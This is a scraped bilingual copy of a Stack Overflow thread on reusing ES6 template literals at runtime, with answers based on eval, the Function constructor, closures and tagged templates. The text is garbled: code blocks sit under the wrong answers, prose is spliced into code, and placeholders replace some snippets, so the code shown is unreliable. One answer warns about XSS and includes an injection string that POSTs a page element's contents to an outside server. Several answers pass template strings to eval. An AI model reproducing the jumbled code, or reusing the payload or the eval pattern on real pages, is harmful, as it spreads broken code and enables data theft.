Javascript ES6 模板文字可以在运行时替换(或重用)吗?
声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow
原文地址: http://stackoverflow.com/questions/30003353/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me):
StackOverFlow
Can ES6 template literals be substituted at runtime (or reused)?
提问by Josh
tl;dr: Is it possible to make a reusable template literal?
tl; dr:是否可以制作可重用的模板文字?
I've been trying to use template literals but I guess I just don't get it and now I'm getting frustrated. I mean, I think I get it, but "it" shouldn't be how it works, or how it should get. It should get differently.
我一直在尝试使用模板文字,但我想我只是不明白,现在我很沮丧。我的意思是,我想我明白了,但“它”不应该是它如何运作,或者它应该如何获得。它应该得到不同的。
All the examples I see (even tagged templates) require that the "substitutions" be done at declaration time and not run time, which seems utterly useless to me for a template. Maybe I'm crazy, but a "template" to me is a document that contains tokens which get substituted when you use it, not when you create it, otherwise it's just a document (i.e., a string). A template is stored with the tokens as tokens& those tokens are evaluated when you...evaluate it.
我看到的所有示例(甚至标记模板)都要求在声明时而不是运行时完成“替换”,这对我来说对于模板来说完全没用。也许我疯了,但对我来说,“模板”是一个包含令牌的文档,这些令牌在您使用时会被替换,而不是在创建时被替换,否则它只是一个文档(即字符串)。模板与令牌一起存储为令牌,这些令牌在您...评估时进行评估。
Everyone cites a horrible example similar to:
每个人都举了一个类似的可怕例子:
var a = 'asd';
return `Worthless ${a}!`
That's nice, but if I already know a, I would just return 'Worthless asd'or return 'Worthless '+a. What's the point? Seriously. Okay the point is laziness; fewer pluses, more readability. Great. But that's not a template! Not IMHO. And MHO is all that matters! The problem, IMHO, is that the template is evaluated when it's declared, so, if you do, IMHO:
这很好,但如果我已经知道a,我只会return 'Worthless asd'或return 'Worthless '+a。重点是什么?严重地。好吧,关键是懒惰;更少的优点,更多的可读性。伟大的。但这不是模板!不是恕我直言。而 MHO 才是最重要的!恕我直言,问题在于模板在声明时被评估,所以,如果你这样做,恕我直言:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!
Since expletiveisn't declared, it outputs something like My undefined template. Super. Actually, in Chrome at least, I can't even declare the template; it throws an error because expletiveis not defined. What I need is to be able to do the substitution after declaring the template:
由于expletive未声明,它输出类似My undefined template. 极好的。实际上,至少在 Chrome 中,我什至不能声明模板;它抛出一个错误,因为expletive没有定义。我需要的是能够在声明模板后进行替换:
var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template
However I don't see how this is possible, since these aren't really templates. Even when you say I should use tags, nope, they don't work:
但是我不明白这是怎么可能的,因为这些并不是真正的模板。即使你说我应该使用标签,不,它们也不起作用:
> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...
This all has led me to believe that template literals are horribly misnamed and should be called what they really are: heredocs. I guess the "literal" part should have tipped me off (as in, immutable)?
这一切让我相信模板文字被错误地命名,应该被称为它们真正的名字:heredocs。我想“文字”部分应该让我失望(例如,不可变的)?
Am I missing something? Is there a (good) way to make a reusable template literal?
我错过了什么吗?有没有(好的)方法来制作可重用的模板文字?
I give you, reusable template literals:
我给你,可重用的模板文字:
> function out(t) { console.log(eval(t)); }
var template = `\`This is
my ${expletive} reusable
template!\``;
out(template);
var expletive = 'curious';
out(template);
var expletive = 'AMAZING';
out(template);
< This is
my undefined reusable
template!
This is
my curious reusable
template!
This is
my AMAZING reusable
template!
And here is a naive "helper" function...
这是一个天真的“助手”功能......
function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);
...to make it "better".
...使其“更好”。
I'm inclined to call them template guterals because of the area from which they produce twisty feelings.
我倾向于称它们为模板 guterals,因为它们会产生曲折的感觉。
回答by Quentin Engles
To make these literals work like other template engines there needs to be an intermediary form.
为了使这些文字像其他模板引擎一样工作,需要一个中间形式。
The best way to do this is to use the Functionconstructor.
最好的方法是使用Function构造函数。
const templateString = "Hello ${this.name}!";
const templateVars = {
name: "world"
}
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
console.log(fillTemplate(templateString, templateVars));
As with other template engines you can get that string from other places like a file.
与其他模板引擎一样,您可以从其他地方(如文件)获取该字符串。
There can be issues using this method like template tags are hard to use, but those can be added if you're clever. You also can't have inline JavaScript logic because of the late interpolation. This can also be remedied with some thought.
使用这种方法可能会出现一些问题,例如模板标签难以使用,但如果您很聪明,可以添加这些问题。由于后期插值,您也无法使用内联 JavaScript 逻辑。这也可以通过一些思考来解决。
回答by Pointy
You can put a template string in a function:
您可以将模板字符串放入函数中:
function reusable(a, b) {
return `a is ${a} and b is ${b}`;
}
You can do the same thing with a tagged template:
您可以使用标记模板执行相同的操作:
function reusable(strings) {
return function(... vals) {
return strings.map(function(s, i) {
return `${s}${vals[i] || ""}`;
}).join("");
};
}
var tagged = reusable`a is var reusable = () => `This ${object} was created by ${creator}`;
var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"
object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"
and b is `; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"
The idea is to let the template parser split out the constant strings from the variable "slots", and then return a function that patches it all back together based on a new set of values each time.
这个想法是让模板解析器从变量“slots”中分离出常量字符串,然后返回一个函数,每次都基于一组新值将它们全部修补在一起。
回答by PilotInPyjamas
Probably the cleanest way to do this is with arrow functions (because at this point, we're using ES6 already)
可能最干净的方法是使用箭头函数(因为此时,我们已经在使用 ES6)
reusable = () => myTag`The ${noun} go ${verb} and `;
var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"
noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"
...And for tagged template literals:
...对于标记的模板文字:
const fillTemplate = require('es6-dynamic-template');
This also avoids the use of eval()or Function()which can cause problems with compilers and cause a lot of slowdown.
这也避免了使用eval()orFunction()会导致编译器出现问题并导致大量减速。
回答by mikemaccana
2019 answer:
2019 答案:
Note: The library originally expected users to sanitise strings to avoid XSS. Version 2 of the library no longer requires user strings to be sanitised (which web developers should do anyway) as it avoids evalcompletely.
注意:该库最初希望用户清理字符串以避免 XSS。该库的第 2 版不再需要清理用户字符串(Web 开发人员无论如何都应该这样做),因为它eval完全避免了。
The es6-dynamic-templatemodule on npmdoes this.
es6-dynamic-templatenpm上的模块就是这样做的。
const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});
Unlike the current answers:
与当前的答案不同:
- It uses ES6 template strings, not a similar format. Updateversion 2 uses a similar format, rather than ES6 template strings, to prevent users from using unsanitised input Strings.
- It doesn't need
thisin the template string - You can specify the template string and variables in a single function
- It's a maintained, updatable module, rather than copypasta from StackOverflow
- 它使用 ES6 模板字符串,而不是类似的格式。更新版本 2 使用类似的格式,而不是 ES6 模板字符串,以防止用户使用未经处理的输入字符串。
- 它不需要
this在模板字符串中 - 您可以在单个函数中指定模板字符串和变量
- 它是一个维护的、可更新的模块,而不是 StackOverflow 中的 copypasta
Usage is simple. Use single quotes as the template string will be resolved later!
用法很简单。使用单引号作为模板字符串将在稍后解析!
// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
return new Function("return `"+templateString +"`;").call(templateVars);
}
function parseString() {
// Example venomous string which will 'hack' fillTemplate function
var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain); // evil string attack here
console.log(result);
alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);
}
window.parseString=parseString;
回答by Kamil Kie?czewski
Yes you can do it by parsing your string with template as JS by Function(or eval) - but this is not recommended and allow XSS attack
是的,您可以通过Function(或eval)将带有模板的字符串解析为 JS 来实现- 但不推荐这样做并允许XSS 攻击
#mydiv { background: red; margin: 20px}
.btn { margin: 20px; padding: 20px; }
<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>
<div id="msg"></div>
<button class="btn" onclick="parseString()">Click me! :)</button>
let inject = (str, obj) => str.replace(/${(.*?)}/g, (x,g)=> obj[g]);
Instead you can safelyinsert object objfields to template strin dynamic way as follows
相反,您可以安全地将对象obj字段以str动态方式插入模板,如下所示
let inject = (str, obj) => str.replace(/${(.*?)}/g, (x,g)=> obj[g]);
// --- test ---
// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);
// parameters in array
let t2 = "Values const fillTemplate = function(templateString, templateVars){
var func = new Function(...Object.keys(templateVars), "return `"+templateString +"`;")
return func(...Object.values(templateVars));
}
// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);
console.log(result);
are in array with values of const tempGreet = Template(() => `
<span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"
."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);
function Template(cb) {
return function(data) {
const dataKeys = [];
const dataVals = [];
for (let key in data) {
dataKeys.push(key);
dataVals.push(data[key]);
}
let func = new Function(...dataKeys, 'return (' + cb + ')();');
return func(...dataVals);
}
}
回答by subcoder
Simplifying the answer provided by @metamorphasi;
简化@metamorphasi 提供的答案;
function defer([fisrt, ...rest]) {
return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, fisrt);
}
回答by metamorphasi
If you don't want to use ordered parameters or context/namespaces to reference the variables in your template, e.g. ${0}, ${this.something}, or ${data.something}, you can have a template function that takes care of the scoping for you.
如果您不想使用有序参数或上下文/命名空间来引用模板中的变量,例如${0}, ${this.something}, or ${data.something},您可以使用一个模板函数来为您处理范围。
Exampleof how you could call such a template:
如何调用此类模板的示例:
> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable'); // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null); // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'
The Template function:
模板功能:
function deferWithDefaults([fisrt, ...rest], ...defaults) {
return (...values) => rest.reduce((acc, curr, i) => {
return acc + (i < values.length ? values[i] : defaults[i]) + curr;
}, fisrt);
}
The quirk in this case is you just have to pass a function (in the example I used an arrow function) that returns the ES6 template literal. I think it's a minor tradeoff to get the kind of reuseable interpolation we are after.
在这种情况下的怪癖是你只需要传递一个返回 ES6 模板文字的函数(在这个例子中我使用了一个箭头函数)。我认为获得我们所追求的那种可重复使用的插值是一个很小的权衡。
Here it is on GitHub: https://github.com/Adelphos/ES6-Reuseable-Template
这是在 GitHub 上:https: //github.com/Adelphos/ES6-Reuseable-Template
回答by Rodrigo Rodrigues
Am I missing something? Is there a [good] way to make a reusable template literal?
我错过了什么吗?有没有 [good] 方法来制作可重用的模板文字?
Maybe I ammissing something, because my solution to this issue seems so obvious to me that I am very surprised nobody wrote that already in such an old question.
也许我遗漏了一些东西,因为我对这个问题的解决方案对我来说似乎很明显,以至于我很惊讶没有人已经在这么老的问题中写过了。
I have an almost one-liner for it:
我有一个几乎是单行的:
> t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
> t('awesome'); // 'My template is: awesome and versatile'
That's all. When I want to reuse a template and defer the resolution of the substitutions, I just do:
就这样。当我想重用模板并推迟替换的解析时,我只是这样做:
const createTemplate = fn => function (strings, ...defaults) {
const [first, ...rest] = strings;
return (...values) => rest.reduce((acc, curr, i) => {
return acc + fn(values[i], defaults[i]) + curr;
}, first);
};
Applying this tag returns back a 'function'(instead of a 'string') that ignores any parameters passed to the literal. Then it can be called with new parameters later. If a parameter has no corresponding replace, it becomes 'undefined'.
应用此标签返回 a 'function'(而不是 a 'string'),它忽略传递给文字的任何参数。然后可以稍后使用新参数调用它。如果一个参数没有相应的替换,它就会变成'undefined'。
Extended answer
扩展答案
This simple code is functional, but if you need more elaborated behavior, that same logic can be applied and there are endless possibilities. You could:
这个简单的代码是功能性的,但是如果您需要更详细的行为,可以应用相同的逻辑,并且有无限的可能性。你可以:
Make use of original parameters:
You could store the original values passed to the literal in the construction and use them in creative ways when applying the template. They could become flags, type validators, functions etc. This is an example that uses them as default values:
function sqlSanitize(token, tag) { // this is a gross simplification, don't use in production. const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name); const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value); switch (tag) { case 'table': return quoteName(token); case 'columns': return token.map(quoteName); case 'row': return token.map(quoteValue); default: return token; } } const sql = createTemplate(sqlSanitize);Then:
> q = sql`INSERT INTO ${'table'} (${'columns'}) ... VALUES (${'row'});` > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true]) // `INSERT INTO user (id,"user name","is""Staff""?") // VALUES (1,'O''neil',true);`Write a template factory:
Do it by wrapping this logic in a function that expects, as argument, a custom function that can be applied in the reduction (when joining the pieces of the template literal) and returns a new template with custom behavior.
function deferWithDefaults([fisrt, ...rest], ...defaults) { return (...values) => rest.reduce((acc, curr, i) => { return acc + (i < values.length ? values[i] : defaults[i]) + curr; }, fisrt); }Then you could , e.g., write templates that automatically escape or sanitize parameters when writing embedded html, css, sql, bash...
> t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`; > t('awesome'); // 'My template is: awesome and versatile'With this na?ve (I repeat, na?ve!) sql template we could build queries like this:
const createTemplate = fn => function (strings, ...defaults) { const [first, ...rest] = strings; return (...values) => rest.reduce((acc, curr, i) => { return acc + fn(values[i], defaults[i]) + curr; }, first); };Accept named parameters for substitution: A not-so-hard exercise, based on what was already given. There is an implementation in this other answer.
Make the return object behave like a
'string': Well, this is controversial, but could lead to interesting results. Shown in this other answer.Resolve parameters within global namespace at call site:
I give you, reusable template literals:
Well, this is what OP showed is his addendum, using the command
, I mean,evileval. This could be done withouteval, just by searching the passed variable name into the global (or window) object. I will not show how to do it because I do not like it. Closures are the right choice.
利用原始参数:
您可以在构造中存储传递给文字的原始值,并在应用模板时以创造性的方式使用它们。它们可以成为标志、类型验证器、函数等。这是一个将它们用作默认值的示例:
function sqlSanitize(token, tag) { // this is a gross simplification, don't use in production. const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name); const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value); switch (tag) { case 'table': return quoteName(token); case 'columns': return token.map(quoteName); case 'row': return token.map(quoteValue); default: return token; } } const sql = createTemplate(sqlSanitize);然后:
> q = sql`INSERT INTO ${'table'} (${'columns'}) ... VALUES (${'row'});` > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true]) // `INSERT INTO user (id,"user name","is""Staff""?") // VALUES (1,'O''neil',true);`写一个模板工厂:
通过将此逻辑包装在一个函数中来实现,该函数期望一个自定义函数作为参数,该函数可以应用于归约(当连接模板文字的各个部分时)并返回一个具有自定义行为的新模板。
var s = (item, price) => {return `item: ${item}, price: $${price}`} s('pants', 10) // 'item: pants, price: ' s('shirts', 15) // 'item: shirts, price: '然后你可以,例如,编写在编写嵌入的 html、css、sql、bash 时自动转义或清理参数的模板......
var s = (<variable names you want>) => {return `<template with those variables>`}有了这个天真的(我再说一遍,天真!) sql 模板,我们可以构建这样的查询:
var s = function(<variable names you want>){return `<template with those variables>`}接受替换的命名参数:基于已经给出的内容,一个不那么难的练习。在另一个答案中有一个实现。
使返回对象表现得像一个
'string': 嗯,这是有争议的,但可能会导致有趣的结果。显示在另一个答案中。在调用站点解析全局命名空间中的参数:
我给你,可重用的模板文字:
好吧,这就是 OP 显示的是他的附录,使用命令
,我的意思是,evileval。这可以在没有 的情况下完成eval,只需将传递的变量名称搜索到全局(或窗口)对象中即可。我不会展示如何去做,因为我不喜欢它。关闭是正确的选择。
回答by abalter
This is my best attempt:
这是我最好的尝试:
var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);
console.log(populated); // shows 1.2
To generalify:
概括:
a = 3; b = 4;
populated = eval(template);
console.log(populated); // shows 3.4
If you are not running E6, you could also do:
如果您没有运行 E6,您还可以执行以下操作:
function populate(a, b){
return `${a}.${b}`;
}
This seems to be a bit more concise than the previous answers.
这似乎比以前的答案更简洁一些。
回答by isapir
In general I'm against using the evil eval(), but in this case it makes sense:
一般来说,我反对使用 evil eval(),但在这种情况下,这是有道理的:
Then if you change the values and call eval() again you get the new result:
然后,如果您更改值并再次调用 eval() ,则会得到新结果:
##代码##If you want it in a function, then it can be written like so:
如果你想在一个函数中使用它,那么它可以这样写:
##代码##
